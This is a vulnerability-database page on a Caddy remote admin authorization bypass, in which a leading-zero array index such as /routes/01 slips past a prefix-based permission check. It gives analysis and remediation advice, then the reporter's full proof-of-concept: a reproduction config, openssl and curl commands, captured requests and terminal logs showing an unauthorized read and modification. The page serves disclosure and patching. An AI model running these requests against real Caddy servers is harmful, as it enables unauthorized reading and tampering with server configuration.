Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain valid mTLS remote admin client certificate
-
DeliveryConnect to Caddy remote admin TLS endpoint (admin.remote.listen)
-
ExploitCraft /config API request using leading-zero array index (e.g., /routes/01)
-
ExecutionAuthorization layer approves request via string prefix match against /routes/0
-
PersistTraversal layer resolves '01' numerically to index 1
-
ImpactRead or modify unauthorized sibling config object (routes[1])
Vulnerability Assessment
| Weakness |
CWE
|
| Exploitation Conditions | The Caddy remote admin TLS endpoint must be explicitly enabled via |
| Impact | The CVSS 5.4 Medium score (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N) accurately reflects the bounded nature of this vulnerability: network-accessible exploitation requires low privilege (PR:L - possession of a valid mTLS client certificate recognized by the target Caddy instance), no user interaction, and impacts are limited to confidentiality and integrity of config objects rather than full server compromise. Attack complexity is genuinely low (AC:L) once a certificate is in hand, as the bypass is deterministic and mechanically simple. No EPSS data was supplied in the input; EPSS inference is not possible and is not stated here. This CVE is not listed in CISA KEV, so confirmed active exploitation cannot be asserted. However, a fully detailed proof-of-concept - including exact curl commands, JSON reproduction config, and captured HTTP responses - is publicly available in GHSA-x5w9-xh9r-mvfc, making exploitation trivial for any attacker already holding a valid remote admin certificate. The real-world priority is moderate: environments that do not use Caddy's |
| Exploit ScenarioDerived | An attacker who holds a valid remote admin mTLS client certificate scoped to |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 19, 2026
Authorization bypass in Caddy's remote admin /config API (versions 2.4.0-2.11.2) allows a certificate-authenticated remote admin client restricted to a specific array-indexed config path (e.g., /routes/0) to read and modify sibling array elements (e.g., routes[1]) by requesting the path with a leading-zero index variant (/routes/01). The root cause is a semantic mismatch between two internal layers: the authorization layer performs string prefix matching (strings.HasPrefix), while the config traversal layer parses index components numerically via strconv.Atoi(), so "01" passes authorization as a prefix of "0" but resolves to integer index 1 during traversal. No public exploit is in CISA KEV, but a complete proof-of-concept with captured curl requests and server responses is publicly documented in the vendor GitHub advisory GHSA-x5w9-xh9r-mvfc.
RemediationAI
Upgrade to Caddy v2.11.3, which introduces canonical array index validation rejecting non-canonical leading-zero index forms (e.g., 01, 002) in the /config traversal layer, eliminating the authorization-to-traversal mismatch. The fix is documented in the vendor advisory at https://github.com/caddyserver/caddy/security/advisories/GHSA-x5w9-xh9r-mvfc. If immediate upgrade is not feasible, the most effective compensating control is to disable the admin.remote endpoint entirely if scoped certificate delegation is not operationally required - note this removes the ability for remote clients to perform live configuration reloads via mTLS. If admin.remote must remain active, avoid configuring permissions.paths entries that terminate with numeric array index components; instead, grant access at a higher path level (accepting broader access) or restrict operations to non-indexed paths. There is no workaround that preserves fine-grained array-element path scoping while blocking the bypass - the string prefix check is fundamentally incompatible with numeric index semantics until the canonical index validation patch is applied.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Caddy (pkg:go/github.com/caddyserver/caddy/v2) exposes a /config REST API on its remote admin TLS endpoint that allows mTLS certificate-authenticated clients to read and modify live server configuration objects. Access control is enforced at admin.go:719 using strings.HasPrefix(r.URL.Path, allowedPath) against a list of explicitly permitted path strings. Separately, the config traversal layer at admin.go:1201 and admin.go:1310 resolves each path component against the in-memory config tree, parsing the final component of array selectors via strconv.Atoi(), which silently accepts leading-zero decimal strings ("01" → 1, "002" → 2). CWE-187 (Improper Handling of Inconsistent Special Elements) precisely describes this root cause: the same string "01" is semantically interpreted as a text substring by the authorization layer and as a numeric value by the traversal layer, causing the two layers to resolve the path to entirely different config objects. The suggested fix introduced in v2.11.3 is a parseCanonicalIndex helper that rejects any numeric string with a leading zero (except "0" itself), ensuring authorization and traversal agree on the object being addressed.
Know when OpenSSL gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionNVD
This report is not about a normal textual prefix-expansion case.
The issue here is that the authorization layer and the /config traversal layer do not agree on what object the path refers to.
In this case, a path authorized for one config object is accepted, but then resolves to a different config object during traversal.
AI Disclosure
The reporter used an LLM to help review the code, reason about the behavior, and help draft this report. The reporter manually reproduced and validated the issue locally, confirmed the relevant source paths, and captured the requests and responses below.
Summary
A remote admin client certificate restricted to the following path:
/config/apps/http/servers/srv/routes/0can still read and modify a different array element by requesting:
/config/apps/http/servers/srv/routes/01
This happens because:
- the authorization layer uses string prefix matching
- the /config traversal layer parses array indices numerically using strconv.Atoi()
So:
- authorization sees /.../01 as matching /.../0
- traversal resolves 01 to numeric index 1
- the request therefore targets routes[1], not routes[0]
This is not just a prefix-match quirk. It is an authorization-to-object mismatch.
Why This Is In Scope
This is a security bug in Caddy's own code:
- no browser behavior is involved
- no dependency bug is involved
- no external system compromise is involved
- no third-party software compromise is required
- no unsafe content hosting or file upload is required
This is also not just “an unsafe configuration”.
The configuration explicitly attempts to limit access to one specific path:
/config/apps/http/servers/srv/routes/0
But Caddy enforces a policy that ends up granting access to a different object (routes[1]) because of how traversal interprets the final path component.
In short:
- configured authorization target: routes[0]
- actual accessed object: routes[1]
That difference is caused by Caddy itself.
Relevant Source Code
Authorization path matching:
- admin.go:719
Authorization config comment:
- admin.go:213
Config traversal with numeric parsing:
- admin.go:1201
- admin.go:1310
Root Cause
Authorization layer
for _, allowedPath := range accessPerm.Paths {
if strings.HasPrefix(r.URL.Path, allowedPath) {
pathFound = true
break
}
}Traversal layer
idx, err = strconv.Atoi(idxStr)
and later:
partInt, err := strconv.Atoi(part)
Because of that:
- allowed path: /config/.../routes/0
- requested path: /config/.../routes/01
- authorization decision: allowed
- actual object selected: routes[1]
Why This Is Not Just a “Prefix” Case
For a normal path hierarchy, a “subpath” means a child resource of the same authorized object.
For example:
- /config/apps/http
- /config/apps/http/servers
- /config/apps/http/servers/srv/routes/0/handle
Those are genuine deeper descendants.
But this case is different.
Within the /config API, the final path component after /routes/ is not just a text fragment. It is a semantic selector for an array index.
So:
- /routes/0 means routes[0]
- /routes/01 means routes[1]
- /routes/02 means routes[2]
That means /routes/01 is not a child of routes[0] in object semantics. It is a different array element entirely.
So even if prefix matching is documented, this case is different because:
- authorization uses the textual form
- traversal uses the numeric form
- the two refer to different objects
This should be treated as an authorization bug rather than a documented prefix behavior.
Security Impact
A remote admin identity restricted to one /config array element can:
- read a different array element
- modify a different array element
This breaks least-privilege remote admin policies.
In practice, a delegated certificate that should only be able to inspect or edit one route can instead inspect or edit another route in the same array.
Affected Product
Tested on:
v2.11.2-3-gdf65455b
Affected area:
- remote admin
- admin.remote.access_control.permissions.paths
- /config API paths containing numeric array indices
The reporter reproduced this on current HEAD.
Minimal Reproduction Configuration
{
"storage": {
"module": "file_system",
"root": "/tmp/caddy-config-index-storage"
},
"admin": {
"listen": "127.0.0.1:2029",
"identity": {
"identifiers": ["localhost"],
"issuers": [
{ "module": "internal" }
]
},
"remote": {
"listen": "127.0.0.1:2031",
"access_control": [
{
"public_keys": ["<CLIENT_CERT_BASE64_DER>"],
"permissions": [
{
"methods": ["GET", "PATCH"],
"paths": ["/config/apps/http/servers/srv/routes/0"]
}
]
}
]
}
},
"apps": {
"http": {
"servers": {
"srv": {
"listen": [":9088"],
"routes": [
{
"handle": [
{
"handler": "static_response",
"body": "route zero"
}
]
},
{
"handle": [
{
"handler": "static_response",
"body": "route one"
}
]
}
]
}
}
}
}
}Commands
1. Generate client certificate
openssl req -x509 -newkey rsa:2048 -nodes -days 365 \
-subj '/CN=remote-admin-client' \
-keyout client.key \
-out client.crt2. Convert to base64 DER
CLIENT_CERT_B64="$(openssl x509 -in client.crt -outform der | base64 | tr -d '\n')"3. Start Caddy
go run ./cmd/caddy run --config ./repro.jsonSpecific Minimal Reproduction Steps
Step 1: Read the explicitly authorized object
curl -vk \
--resolve localhost:2031:127.0.0.1 \
--cert ./client.crt \
--key ./client.key \
https://localhost:2031/config/apps/http/servers/srv/routes/0Observed result:
< HTTP/1.1 200 OK
{"handle":[{"body":"route zero","handler":"static_response"}]}Step 2: Read a different object using a leading-zero index
curl -vk \
--resolve localhost:2031:127.0.0.1 \
--cert ./client.crt \
--key ./client.key \
https://localhost:2031/config/apps/http/servers/srv/routes/01Observed result:
< HTTP/1.1 200 OK
{"handle":[{"body":"route one","handler":"static_response"}]}This shows that a client limited to routes/0 can read routes[1].
Step 3: Confirm that the traversal layer is interpreting the component numerically
curl -vk \
--resolve localhost:2031:127.0.0.1 \
--cert ./client.crt \
--key ./client.key \
https://localhost:2031/config/apps/http/servers/srv/routes/02Observed result:
< HTTP/1.1 400 Bad Request
{"error":"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02"}This is important because it shows Caddy is not treating 01 and 02 as ordinary child paths under 0. It is treating them as numeric indices.
Step 4: Modify the unauthorized object
curl -vk \
-X PATCH \
--resolve localhost:2031:127.0.0.1 \
--cert ./client.crt \
--key ./client.key \
-H 'Content-Type: application/json' \
--data '{"handle":[{"handler":"static_response","body":"patched route one"}]}' \
https://localhost:2031/config/apps/http/servers/srv/routes/01Observed result:
< HTTP/1.1 200 OKStep 5: Confirm the unauthorized modification
curl -vk \
--resolve localhost:2031:127.0.0.1 \
--cert ./client.crt \
--key ./client.key \
https://localhost:2031/config/apps/http/servers/srv/routes/01Observed result:
< HTTP/1.1 200 OK
{"handle":[{"body":"patched route one","handler":"static_response"}]}That confirms the client was able to modify routes[1], even though only /routes/0 was authorized.
Precise Requests and Captured Output
Authorized read
> GET /config/apps/http/servers/srv/routes/0 HTTP/1.1
> Host: localhost:2031
> User-Agent: curl/8.5.0
> Accept: */*
<
< HTTP/1.1 200 OK
< Content-Type: application/json
< Etag: "/config/apps/http/servers/srv/routes/0 94a6828ccc924cf3"
<
{"handle":[{"body":"route zero","handler":"static_response"}]}Unauthorized read
> GET /config/apps/http/servers/srv/routes/01 HTTP/1.1
> Host: localhost:2031
> User-Agent: curl/8.5.0
> Accept: */*
<
< HTTP/1.1 200 OK
< Content-Type: application/json
< Etag: "/config/apps/http/servers/srv/routes/01 ed4a6c7e6ac8890d"
<
{"handle":[{"body":"route one","handler":"static_response"}]}Numeric index interpretation evidence
> GET /config/apps/http/servers/srv/routes/02 HTTP/1.1
> Host: localhost:2031
> User-Agent: curl/8.5.0
> Accept: */*
<
< HTTP/1.1 400 Bad Request
<
{"error":"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02"}Unauthorized modification
> PATCH /config/apps/http/servers/srv/routes/01 HTTP/1.1
> Host: localhost:2031
> User-Agent: curl/8.5.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 69
<
< HTTP/1.1 200 OKConfirmation of unauthorized modification
> GET /config/apps/http/servers/srv/routes/01 HTTP/1.1
> Host: localhost:2031
> User-Agent: curl/8.5.0
> Accept: */*
<
< HTTP/1.1 200 OK
< Content-Type: application/json
< Etag: "/config/apps/http/servers/srv/routes/01 a757e3a3168ca4e0"
<
{"handle":[{"body":"patched route one","handler":"static_response"}]}Full Log Output
Relevant startup logs from the reproduction run:
root@dbdd95a60758:/caddy
# go run ./cmd/caddy run --config /tmp/caddy-config-index-repro.json
2026/03/20 02:10:51.148 INFO maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined
2026/03/20 02:10:51.148 INFO GOMEMLIMIT is updated {"GOMEMLIMIT": 26273105510, "previous": 9223372036854775807}
2026/03/20 02:10:51.148 INFO using config from file {"file": "/tmp/caddy-config-index-repro.json"}
2026/03/20 02:10:51.149 INFO admin admin endpoint started {"address": "127.0.0.1:2029", "enforce_origin": false, "origins": ["//localhost:2029", "//[::1]:2029", "//127.0.0.1:2029"]}
2026/03/20 02:10:51.149 WARN http HTTP/2 skipped because it requires TLS {"network": "tcp", "addr": ":9088"}
2026/03/20 02:10:51.149 WARN http HTTP/3 skipped because it requires TLS {"network": "tcp", "addr": ":9088"}
2026/03/20 02:10:51.149 INFO http.log server running {"name": "srv", "protocols": ["h1", "h2", "h3"]}
2026/03/20 02:10:51.149 INFO tls.cache.maintenance started background certificate maintenance {"cache": "0xc0003d7580"}
2026/03/20 02:10:51.149 INFO admin.identity.cache.maintenance started background certificate maintenance {"cache": "0xc00026fd00"}
2026/03/20 02:10:51.149 WARN admin.identity stapling OCSP {"identifiers": ["localhost"]}
2026/03/20 02:10:51.149 INFO admin.remote secure admin remote control endpoint started {"address": "127.0.0.1:2031"}
2026/03/20 02:10:51.149 INFO autosaved config (load with --resume flag) {"file": "/root/.config/caddy/autosave.json"}
2026/03/20 02:10:51.149 INFO serving initial configuration
2026/03/20 02:10:51.156 INFO tls storage cleaning happened too recently; skipping for now {"storage": "FileStorage:/tmp/caddy-config-index-storage", "instance": "55d383b9-7ae1-4713-89a2-b4106612cdcf", "try_again": "2026/03/21 02:10:51.156", "try_again_in": 86399.999999609}
2026/03/20 02:10:51.156 INFO tls finished cleaning storage units
2026/03/20 02:11:14.787 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/0", "remote_ip": "127.0.0.1", "remote_port": "59932", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}
2026/03/20 02:11:22.116 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "40070", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}
pkill -f '/tmp/caddy-config-index-repro.json'
^C2026/03/20 02:13:47.114 INFO shutting down {"signal": "SIGINT"}
2026/03/20 02:13:47.114 WARN exiting; byeee!! 👋 {"signal": "SIGINT"}
2026/03/20 02:13:47.114 INFO http servers shutting down with eternal grace period
2026/03/20 02:13:47.114 INFO admin stopped previous server {"address": "127.0.0.1:2031"}
2026/03/20 02:13:47.114 INFO admin stopped previous server {"address": "127.0.0.1:2029"}
2026/03/20 02:13:47.114 INFO shutdown complete {"signal": "SIGINT", "exit_code": 0}
root@dbdd95a60758:/caddy
# pkill -f '/tmp/caddy-config-index-repro.json'
root@dbdd95a60758:/caddy
# pkill -f '/tmp/caddy-config-index-repro.json'
root@dbdd95a60758:/caddy
# ps -ef | rg 'caddy-config-index-repro|cmd/caddy run --config /tmp/caddy-config-index-repro.json'
bash: rg: command not found
root@dbdd95a60758:/caddy
# ss -ltnp | rg ':2029|:2031|:9088'
bash: rg: command not found
root@dbdd95a60758:/caddy
# go run ./cmd/caddy run --config /tmp/caddy-config-index-repro.json
2026/03/20 02:14:52.698 INFO maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined
2026/03/20 02:14:52.698 INFO GOMEMLIMIT is updated {"GOMEMLIMIT": 26273105510, "previous": 9223372036854775807}
2026/03/20 02:14:52.698 INFO using config from file {"file": "/tmp/caddy-config-index-repro.json"}
2026/03/20 02:14:52.698 INFO admin admin endpoint started {"address": "127.0.0.1:2029", "enforce_origin": false, "origins": ["//localhost:2029", "//[::1]:2029", "//127.0.0.1:2029"]}
2026/03/20 02:14:52.699 WARN http HTTP/2 skipped because it requires TLS {"network": "tcp", "addr": ":9088"}
2026/03/20 02:14:52.699 WARN http HTTP/3 skipped because it requires TLS {"network": "tcp", "addr": ":9088"}
2026/03/20 02:14:52.699 INFO http.log server running {"name": "srv", "protocols": ["h1", "h2", "h3"]}
2026/03/20 02:14:52.699 INFO tls.cache.maintenance started background certificate maintenance {"cache": "0xc00011d900"}
2026/03/20 02:14:52.699 INFO admin.identity.cache.maintenance started background certificate maintenance {"cache": "0xc000276800"}
2026/03/20 02:14:52.699 WARN admin.identity stapling OCSP {"identifiers": ["localhost"]}
2026/03/20 02:14:52.699 INFO admin.remote secure admin remote control endpoint started {"address": "127.0.0.1:2031"}
2026/03/20 02:14:52.699 INFO autosaved config (load with --resume flag) {"file": "/root/.config/caddy/autosave.json"}
2026/03/20 02:14:52.699 INFO serving initial configuration
2026/03/20 02:14:52.706 INFO tls storage cleaning happened too recently; skipping for now {"storage": "FileStorage:/tmp/caddy-config-index-storage", "instance": "55d383b9-7ae1-4713-89a2-b4106612cdcf", "try_again": "2026/03/21 02:14:52.706", "try_again_in": 86399.999999659}
2026/03/20 02:14:52.706 INFO tls finished cleaning storage units
2026/03/20 02:15:17.145 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/0", "remote_ip": "127.0.0.1", "remote_port": "35382", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}
2026/03/20 02:15:28.746 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "38998", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}
2026/03/20 02:15:33.180 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/02", "remote_ip": "127.0.0.1", "remote_port": "46698", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}
2026/03/20 02:15:33.180 ERROR admin.api request error {"error": "[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02", "status_code": 400}
2026/03/20 02:15:39.610 INFO admin.api received request {"method": "PATCH", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "46712", "headers": {"Accept":["*/*"],"Content-Length":["69"],"Content-Type":["application/json"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}
2026/03/20 02:15:39.610 INFO admin admin endpoint started {"address": "127.0.0.1:2029", "enforce_origin": false, "origins": ["//localhost:2029", "//[::1]:2029", "//127.0.0.1:2029"]}
2026/03/20 02:15:39.610 WARN http HTTP/2 skipped because it requires TLS {"network": "tcp", "addr": ":9088"}
2026/03/20 02:15:39.610 WARN http HTTP/3 skipped because it requires TLS {"network": "tcp", "addr": ":9088"}
2026/03/20 02:15:39.610 INFO http.log server running {"name": "srv", "protocols": ["h1", "h2", "h3"]}
2026/03/20 02:15:39.610 INFO admin stopped previous server {"address": "127.0.0.1:2029"}
2026/03/20 02:15:39.610 INFO admin.identity.cache.maintenance stopped background certificate maintenance {"cache": "0xc000276800"}
2026/03/20 02:15:39.610 INFO admin.identity.cache.maintenance started background certificate maintenance {"cache": "0xc0005b6a00"}
2026/03/20 02:15:39.611 WARN admin.identity stapling OCSP {"identifiers": ["localhost"]}
2026/03/20 02:15:39.611 INFO admin.remote secure admin remote control endpoint started {"address": "127.0.0.1:2031"}
2026/03/20 02:15:39.611 INFO http servers shutting down with eternal grace period
2026/03/20 02:15:39.611 INFO autosaved config (load with --resume flag) {"file": "/root/.config/caddy/autosave.json"}
2026/03/20 02:15:39.612 INFO admin stopped previous server {"address": "127.0.0.1:2031"}
2026/03/20 02:15:49.018 INFO admin.api received request {"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "53712", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}root@dbdd95a60758:/caddy
# curl -vk \
--resolve localhost:2031:127.0.0.1 \
--cert /caddy/client.crt \
--key /caddy/client.key \
https://localhost:2031/config/apps/http/servers/srv/routes/0
* Added localhost:2031:127.0.0.1 to DNS cache
* Hostname localhost was found in DNS cache
* Trying 127.0.0.1:2031...
* Connected to localhost (127.0.0.1) port 2031
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Request CERT (13):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Certificate (11):
* TLSv1.3 (OUT), TLS handshake, CERT verify (15):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
* subject: [NONE]
* start date: Mar 19 21:59:41 2026 GMT
* expire date: Mar 20 09:59:41 2026 GMT
* issuer: CN=Caddy Local Authority - ECC Intermediate
* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
* Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
* Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
* using HTTP/1.x
> GET /config/apps/http/servers/srv/routes/0 HTTP/1.1
> Host: localhost:2031
> User-Agent: curl/8.5.0
> Accept: */*
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Type: application/json
< Etag: "/config/apps/http/servers/srv/routes/0 94a6828ccc924cf3"
< Date: Fri, 20 Mar 2026 02:15:17 GMT
< Content-Length: 63
<
{"handle":[{"body":"route zero","handler":"static_response"}]}
* Connection #0 to host localhost left intact
root@dbdd95a60758:/caddy
# curl -vk \
--resolve localhost:2031:127.0.0.1 \
--cert /caddy/client.crt \
--key /caddy/client.key \
https://localhost:2031/config/apps/http/servers/srv/routes/01
* Added localhost:2031:127.0.0.1 to DNS cache
* Hostname localhost was found in DNS cache
* Trying 127.0.0.1:2031...
* Connected to localhost (127.0.0.1) port 2031
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Request CERT (13):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Certificate (11):
* TLSv1.3 (OUT), TLS handshake, CERT verify (15):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
* subject: [NONE]
* start date: Mar 19 21:59:41 2026 GMT
* expire date: Mar 20 09:59:41 2026 GMT
* issuer: CN=Caddy Local Authority - ECC Intermediate
* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
* Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
* Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
* using HTTP/1.x
> GET /config/apps/http/servers/srv/routes/01 HTTP/1.1
> Host: localhost:2031
> User-Agent: curl/8.5.0
> Accept: */*
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Type: application/json
< Etag: "/config/apps/http/servers/srv/routes/01 ed4a6c7e6ac8890d"
< Date: Fri, 20 Mar 2026 02:15:28 GMT
< Content-Length: 62
<
{"handle":[{"body":"route one","handler":"static_response"}]}
* Connection #0 to host localhost left intact
root@dbdd95a60758:/caddy
# curl -vk \
--resolve localhost:2031:127.0.0.1 \
--cert /caddy/client.crt \
--key /caddy/client.key \
https://localhost:2031/config/apps/http/servers/srv/routes/02
* Added localhost:2031:127.0.0.1 to DNS cache
* Hostname localhost was found in DNS cache
* Trying 127.0.0.1:2031...
* Connected to localhost (127.0.0.1) port 2031
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Request CERT (13):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Certificate (11):
* TLSv1.3 (OUT), TLS handshake, CERT verify (15):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
* subject: [NONE]
* start date: Mar 19 21:59:41 2026 GMT
* expire date: Mar 20 09:59:41 2026 GMT
* issuer: CN=Caddy Local Authority - ECC Intermediate
* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
* Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
* Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
* using HTTP/1.x
> GET /config/apps/http/servers/srv/routes/02 HTTP/1.1
> Host: localhost:2031
> User-Agent: curl/8.5.0
> Accept: */*
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 400 Bad Request
< Content-Type: application/json
< Date: Fri, 20 Mar 2026 02:15:33 GMT
< Content-Length: 84
<
{"error":"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02"}
* Connection #0 to host localhost left intact
root@dbdd95a60758:/caddy
# curl -vk \
-X PATCH \
--resolve localhost:2031:127.0.0.1 \
--cert /caddy/client.crt \
--key /caddy/client.key \
-H 'Content-Type: application/json' \
--data '{"handle":[{"handler":"static_response","body":"patched route one"}]}' \
https://localhost:2031/config/apps/http/servers/srv/routes/01
* Added localhost:2031:127.0.0.1 to DNS cache
* Hostname localhost was found in DNS cache
* Trying 127.0.0.1:2031...
* Connected to localhost (127.0.0.1) port 2031
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Request CERT (13):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Certificate (11):
* TLSv1.3 (OUT), TLS handshake, CERT verify (15):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
* subject: [NONE]
* start date: Mar 19 21:59:41 2026 GMT
* expire date: Mar 20 09:59:41 2026 GMT
* issuer: CN=Caddy Local Authority - ECC Intermediate
* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
* Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
* Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
* using HTTP/1.x
> PATCH /config/apps/http/servers/srv/routes/01 HTTP/1.1
> Host: localhost:2031
> User-Agent: curl/8.5.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 69
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Date: Fri, 20 Mar 2026 02:15:39 GMT
< Content-Length: 0
< Connection: close
<
* Closing connection
* TLSv1.3 (IN), TLS alert, close notify (256):
* TLSv1.3 (OUT), TLS alert, close notify (256):
root@dbdd95a60758:/caddy
# curl -vk \
--resolve localhost:2031:127.0.0.1 \
--cert /caddy/client.crt \
--key /caddy/client.key \
https://localhost:2031/config/apps/http/servers/srv/routes/01
* Added localhost:2031:127.0.0.1 to DNS cache
* Hostname localhost was found in DNS cache
* Trying 127.0.0.1:2031...
* Connected to localhost (127.0.0.1) port 2031
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Request CERT (13):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Certificate (11):
* TLSv1.3 (OUT), TLS handshake, CERT verify (15):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
* subject: [NONE]
* start date: Mar 19 21:59:41 2026 GMT
* expire date: Mar 20 09:59:41 2026 GMT
* issuer: CN=Caddy Local Authority - ECC Intermediate
* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
* Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
* Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
* using HTTP/1.x
